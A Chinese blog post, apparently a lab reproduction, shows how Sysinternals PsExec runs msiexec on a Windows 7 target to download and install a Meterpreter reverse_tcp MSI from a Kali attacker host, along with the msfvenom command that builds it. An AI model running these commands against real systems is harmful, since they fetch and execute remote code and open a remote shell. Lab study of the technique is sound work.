对亮神基于白名单 PsExec 执行 payload 第十三季复现

最新推荐文章于 2021-09-15 11:14:37 发布

cxk331

最新推荐文章于 2021-09-15 11:14:37 发布

阅读量345

点赞数

分类专栏：亮神文章复现文章标签： msf 白名单

本文链接：https://blog.csdn.net/ws13129/article/details/89879771

版权

19 篇文章 3 订阅

订阅专栏

0x00 PsExec 简介：

微软于2006年7月收购sysinternals公司，PsExec是SysinternalsSuite的小工具之一，是一种轻量级的telnet替代品，允许在其他系统上执行进程，完成控制台应用程序的完全交互，而无需手动安装客户端软件，并且可以获得与控制台应用程序相当的完全交互性

攻击机 kali 192.168.5.100
靶机 win7 192.168.5.101
装有av

攻击机
在这里插入图片描述
靶机

PsExec.exe -d -s msiexec.exe /q /i http://192.168.5.100/shellcode.msi

shell弹回
在这里插入图片描述

在这里插入图片描述

msfvenom -a  x86 --platform windows -p  windows/meterpreter/reverse_tcp LHOST=192.168.5.100 LPORT=10129 -f msi > shellcode.msi

启用80监听
在这里插入图片描述

不过AV。psexec.exe需下载，解压在命令行运行即可，地址
https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

关注